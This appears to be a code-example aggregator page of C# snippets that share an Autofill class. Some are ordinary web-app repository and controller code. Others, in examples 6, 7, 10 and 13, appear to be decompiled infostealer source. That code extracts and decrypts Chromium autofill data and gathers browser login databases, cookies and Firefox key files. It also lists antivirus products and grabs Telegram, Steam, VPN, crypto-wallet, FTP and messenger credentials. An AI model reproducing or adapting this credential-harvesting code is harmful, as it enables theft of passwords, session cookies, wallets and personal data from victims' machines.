Exemplo n.º 1
0
        public async Task <AutofillViewModel> AddAutofill(Autofill autofill)
        {
            var result = new AutofillViewModel(_repository.Add(autofill));
            await _repository.SaveChangesAsync();

            return(result);
        }
Exemplo n.º 2
0
        static internal object ToResponse(this Autofill autofill)
        {
            var dataObject = autofill.StepDataObject;
            var activity   = autofill.Activity;

            return(new {
                uid = dataObject.UID,
                type = dataObject.DataItem.NamedKey,
                entity = dataObject.Step.ToIdentifiableResponse(x => x.Name),
                subject = activity.ToIdentifiableResponse(x => x.Name),
                action = dataObject.Action,
                family = dataObject.DataItem.Family,
                name = dataObject.Name,
                description = dataObject.Description,
                isOptional = dataObject.Optional == "Mandatory",
                mediaFormat = dataObject.MediaFormat,
                autofillFileUrl = autofill.AutofillFileUrl,
                uploadedFileUrl = autofill.UploadedFileUrl,
                templateUrl = dataObject.DataItem.Template.Replace("~", libraryBaseAddress),
                decorator = dataObject.DataItem.Terms,
                status = dataObject.Status,
                dataObject = dataObject.DataItem.ToResponse(),
                optional = dataObject.Optional,
                legalBasis = dataObject.LegalBasis,
            });
        }
 public AutofillViewModel(Autofill autofill)
 {
     Id            = autofill.Id;
     Name          = autofill.Name;
     Description   = autofill.Description;
     WorkItemType  = autofill.WorkItemType;
     TypeViewModel = new EnumViewModel <WorkItemType>(WorkItemType);
 }
Exemplo n.º 4
0
        public async Task Update(Autofill autofill)
        {
            var oldAutofill = await GetAutofill(autofill.Id);

            oldAutofill.WorkItemType = autofill.WorkItemType;
            oldAutofill.Description  = autofill.Description;
            oldAutofill.Name         = autofill.Name;
            await _repository.SaveChangesAsync();
        }
Exemplo n.º 5
0
        public SingleObjectModel RemoveUploadedFile([FromUri] string dataObjectUID,
                                                    [FromUri] string activityUID)
        {
            try {
                var dataObject = StepDataObject.Parse(dataObjectUID);
                var activity   = ProjectItem.Parse(activityUID);

                var autofill = new Autofill(dataObject, activity);

                autofill.RemoveFile();

                return(new SingleObjectModel(this.Request, autofill.ToResponse(),
                                             typeof(StepDataObject).FullName));
            } catch (Exception e) {
                throw base.CreateHttpException(e);
            }
        }
Exemplo n.º 6
0
        private static List <Autofill> EnumFills(string profilePath)
        {
            List <Autofill> list = new List <Autofill>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SqlConnection sqlConnection = new SqlConnection(DecryptHelper.CreateTempCopy(text));
                sqlConnection.ReadTable("autofill");
                for (int i = 0; i < sqlConnection.RowLength; i++)
                {
                    Autofill autofill = null;
                    try
                    {
                        autofill = new Autofill
                        {
                            Name  = sqlConnection.ParseValue(i, "name").Trim(),
                            Value = sqlConnection.ParseValue(i, "value").Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (autofill != null)
                    {
                        list.Add(autofill);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
Exemplo n.º 7
0
        private static List <Autofill> EnumFills(string profilePath)
        {
            List <Autofill> autofillList = new List <Autofill>();

            try
            {
                string str = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(str))
                {
                    return(autofillList);
                }
                SqlConnection sqlConnection = new SqlConnection(DecryptHelper.CreateTempCopy(str));
                sqlConnection.ReadTable("autofill");
                for (int rowIndex = 0; rowIndex < sqlConnection.RowLength; ++rowIndex)
                {
                    Autofill autofill = (Autofill)null;
                    try
                    {
                        autofill = new Autofill()
                        {
                            Name  = sqlConnection.ParseValue(rowIndex, "name").Trim(),
                            Value = sqlConnection.ParseValue(rowIndex, "value").Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (autofill != null)
                    {
                        autofillList.Add(autofill);
                    }
                }
            }
            catch
            {
            }
            return(autofillList);
        }
 public Autofill Add(Autofill autofill)
 {
     return(_context.Autofills.Add(autofill));
 }
 public void Delete(Autofill autofill)
 {
     _context.Autofills.Remove(autofill);
 }
Exemplo n.º 10
0
        // Token: 0x0600004F RID: 79 RVA: 0x000028BC File Offset: 0x00000ABC
        public static Credentials Create(ClientSettings settings)
        {
            Credentials credentials = new Credentials
            {
                Defenders          = new List <string>(),
                Browsers           = new List <Browser>(),
                Files              = new List <RemoteFile>(),
                FtpConnections     = new List <LoginPair>(),
                Hardwares          = new List <Hardware>(),
                InstalledBrowsers  = new List <InstalledBrowserInfo>(),
                InstalledSoftwares = new List <string>(),
                Languages          = new List <string>(),
                Processes          = new List <string>(),
                ColdWallets        = new List <ColdWallet>(),
                ImportantAutofills = new List <Autofill>(),
                SteamFiles         = new List <RemoteFile>(),
                NordVPN            = new List <LoginPair>(),
                OpenVPN            = new List <RemoteFile>(),
                ProtonVPN          = new List <RemoteFile>(),
                TelegramFiles      = new List <RemoteFile>()
            };

            try
            {
                try
                {
                    ReadOnlyCollection <WmiProcessor> source = new WmiService().QueryAll <WmiProcessor>(new WmiProcessorQuery(), null);
                    credentials.Hardwares = (from x in source
                                             select new Hardware
                    {
                        Caption = x.Name,
                        HardType = HardwareType.Processor,
                        Parameter = string.Format("{0}", x.NumberOfCores)
                    }).ToList <Hardware>();
                }
                catch
                {
                }
                try
                {
                    WmiService wmiService = new WmiService();
                    if (credentials.Hardwares == null)
                    {
                        credentials.Hardwares = new List <Hardware>();
                    }
                    foreach (Hardware item in (from x in wmiService.QueryAll <WmiGraphicCard>(new WmiGraphicCardQuery(), null)
                                               where x.AdapterRAM > 0U
                                               select new Hardware
                    {
                        Caption = x.Name,
                        HardType = HardwareType.Graphic,
                        Parameter = string.Format("{0}", x.AdapterRAM)
                    }).ToList <Hardware>())
                    {
                        credentials.Hardwares.Add(item);
                    }
                }
                catch
                {
                }
                try
                {
                    credentials.Hardwares.Add(new Hardware
                    {
                        Caption   = "Total of RAM",
                        HardType  = HardwareType.Graphic,
                        Parameter = UserInfoHelper.TotalOfRAM()
                    });
                }
                catch
                {
                }
                try
                {
                    WmiService          wmiService2 = new WmiService();
                    List <WmiQueryBase> list        = new List <WmiQueryBase>
                    {
                        new WmiAntivirusQuery(),
                        new WmiAntiSpyWareQuery(),
                        new WmiFirewallQuery()
                    };
                    string[] array = new string[]
                    {
                        "ROOT\\SecurityCenter2",
                        "ROOT\\SecurityCenter"
                    };
                    List <WmiAntivirus> list2 = new List <WmiAntivirus>();
                    foreach (WmiQueryBase wmiQuery in list)
                    {
                        foreach (string scope in array)
                        {
                            try
                            {
                                list2.AddRange(wmiService2.QueryAll <WmiAntivirus>(wmiQuery, new ManagementObjectSearcher(scope, string.Empty)).ToList <WmiAntivirus>());
                            }
                            catch
                            {
                            }
                        }
                    }
                    credentials.Defenders = (from x in list2
                                             select x.DisplayName).Distinct <string>().ToList <string>();
                }
                catch
                {
                }
                credentials.InstalledBrowsers  = UserInfoHelper.GetBrowsers();
                credentials.Processes          = UserInfoHelper.ListOfProcesses();
                credentials.InstalledSoftwares = UserInfoHelper.ListOfPrograms();
                credentials.Languages          = UserInfoHelper.AvailableLanguages();
                if (settings.GrabTelegram)
                {
                    credentials.TelegramFiles.AddRange(TelegramGrabber.ParseFiles());
                }
                if (settings.GrabVPN)
                {
                    credentials.NordVPN.AddRange(NordVPN.GetProfile());
                    credentials.OpenVPN.AddRange(OpenVPN.ParseFiles());
                    credentials.ProtonVPN.AddRange(ProtonVPN.ParseFiles());
                }
                if (settings.GrabSteam)
                {
                    credentials.SteamFiles.AddRange(SteamGrabber.ParseFiles());
                }
                if (settings.GrabBrowsers)
                {
                    List <Browser> list3 = new List <Browser>();
                    if (settings.PortablePaths == null)
                    {
                        settings.PortablePaths = new List <string>();
                    }
                    settings.PortablePaths.Add(Constants.RoamingAppData);
                    settings.PortablePaths.Add(Constants.LocalAppData);
                    List <string> list4 = new List <string>();
                    List <string> list5 = new List <string>();
                    foreach (string text in Constants.chromiumBrowserPaths)
                    {
                        string text2 = string.Empty;
                        if (text.Contains("Opera"))
                        {
                            text2 = Constants.RoamingAppData + text;
                        }
                        else
                        {
                            text2 = Constants.LocalAppData + text;
                        }
                        if (Directory.Exists(text2))
                        {
                            foreach (string text3 in DecryptHelper.FindPaths(text2, 1, 1, new string[]
                            {
                                "Login Data",
                                "Web Data",
                                "Cookies"
                            }))
                            {
                                if ((text3.EndsWith("Login Data") || text3.EndsWith("Web Data") || text3.EndsWith("Cookies")) && !list4.Contains(text3))
                                {
                                    list4.Add(text3);
                                }
                            }
                        }
                    }
                    foreach (string str in Constants.geckoBrowserPaths)
                    {
                        try
                        {
                            string text4 = Constants.RoamingAppData + str;
                            if (Directory.Exists(text4))
                            {
                                foreach (string text5 in DecryptHelper.FindPaths(text4, 2, 1, new string[]
                                {
                                    "key3.db",
                                    "key4.db",
                                    "cookies.sqlite",
                                    "logins.json"
                                }))
                                {
                                    if ((text5.EndsWith("key3.db") || text5.EndsWith("key4.db") || text5.EndsWith("cookies.sqlite") || text5.EndsWith("logins.json")) && !list5.Contains(text5))
                                    {
                                        list5.Add(text5);
                                    }
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                    list3.AddRange(ChromiumEngine.ParseBrowsers(list4));
                    list3.AddRange(GeckoEngine.ParseBrowsers(list5));
                    foreach (Browser browser in list3)
                    {
                        if (!browser.IsEmpty())
                        {
                            using (List <Autofill> .Enumerator enumerator6 = CredentialsHelper.FindImportant(browser.Autofills).GetEnumerator())
                            {
                                while (enumerator6.MoveNext())
                                {
                                    Autofill autofill = enumerator6.Current;
                                    if (!credentials.ImportantAutofills.Any((Autofill x) => x.Name == autofill.Name && x.Value == autofill.Value))
                                    {
                                        credentials.ImportantAutofills.Add(autofill);
                                    }
                                }
                            }
                            credentials.Browsers.Add(browser);
                        }
                    }
                }
                if (settings.GrabWallets)
                {
                    List <ColdWallet> list6 = new List <ColdWallet>();
                    list6.AddRange(ColdWalletsGrabber.ParseFiles());
                    foreach (ColdWallet item2 in list6)
                    {
                        credentials.ColdWallets.Add(item2);
                    }
                }
                if (settings.GrabFiles)
                {
                    credentials.Files = RemoteFileGrabber.ParseFiles(settings.GrabPaths, null);
                }
                if (settings.GrabFTP)
                {
                    List <LoginPair> list7 = new List <LoginPair>();
                    list7.AddRange(FileZilla.ParseConnections());
                    list7.AddRange(WinSCP.ParseConnections());
                    credentials.FtpConnections = list7;
                }
                if (settings.GrabImClients)
                {
                    foreach (LoginPair item3 in Pidgin.ParseConnections())
                    {
                        credentials.FtpConnections.Add(item3);
                    }
                }
            }
            catch (Exception)
            {
            }
            return(credentials);
        }
Exemplo n.º 11
0
        public async Task <ActionResult> Update(Autofill autofill)
        {
            await _autofillService.Update(autofill);

            return(Json("OK"));
        }
Exemplo n.º 12
0
 public async Task <ActionResult> Add(Autofill autofill)
 {
     return(Json(await _autofillService.AddAutofill(autofill), JsonRequestBehavior.AllowGet));
 }
Exemplo n.º 13
0
        // Token: 0x060002E2 RID: 738 RVA: 0x0000E228 File Offset: 0x0000C428
        private static List <Autofill> EnumFills(string profilePath)
        {
            List <Autofill> list = new List <Autofill>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                string text2 = string.Empty;
                string text3 = string.Empty;
                if (string.IsNullOrWhiteSpace(text2))
                {
                    try
                    {
                        string[] array = profilePath.Split(new string[]
                        {
                            "\\"
                        }, StringSplitOptions.RemoveEmptyEntries);
                        array = array.Take(array.Length - 1).ToArray <string>();
                        text3 = Path.Combine(string.Join("\\", array), "Local State");
                        if (!File.Exists(text3))
                        {
                            text3 = Path.Combine(profilePath, "Local State");
                        }
                        if (File.Exists(text3))
                        {
                            try
                            {
                                bool   flag;
                                string path = DecryptHelper.TryCreateTemp(text3, out flag);
                                text2 = File.ReadAllText(path).FromJSON()["os_crypt"]["encrypted_key"].ToString(false);
                                if (flag)
                                {
                                    File.Delete(path);
                                }
                            }
                            catch (Exception)
                            {
                            }
                        }
                    }
                    catch
                    {
                    }
                }
                bool   flag2;
                string text4 = DecryptHelper.TryCreateTemp(text, out flag2);
                try
                {
                    SqlConnection sqlConnection = new SqlConnection(text4);
                    sqlConnection.ReadTable("autofill");
                    for (int i = 0; i < sqlConnection.RowLength; i++)
                    {
                        Autofill autofill = null;
                        try
                        {
                            string text5 = sqlConnection.ParseValue(i, "value").Trim();
                            if (text5.StartsWith("v10") || text5.StartsWith("v11"))
                            {
                                text5 = ChromiumEngine.DecryptChromium(text5, text2);
                            }
                            autofill = new Autofill
                            {
                                Name  = sqlConnection.ParseValue(i, "name").Trim(),
                                Value = text5
                            };
                        }
                        catch
                        {
                        }
                        if (autofill != null)
                        {
                            list.Add(autofill);
                        }
                    }
                }
                catch
                {
                }
                if (flag2)
                {
                    File.Delete(text4);
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }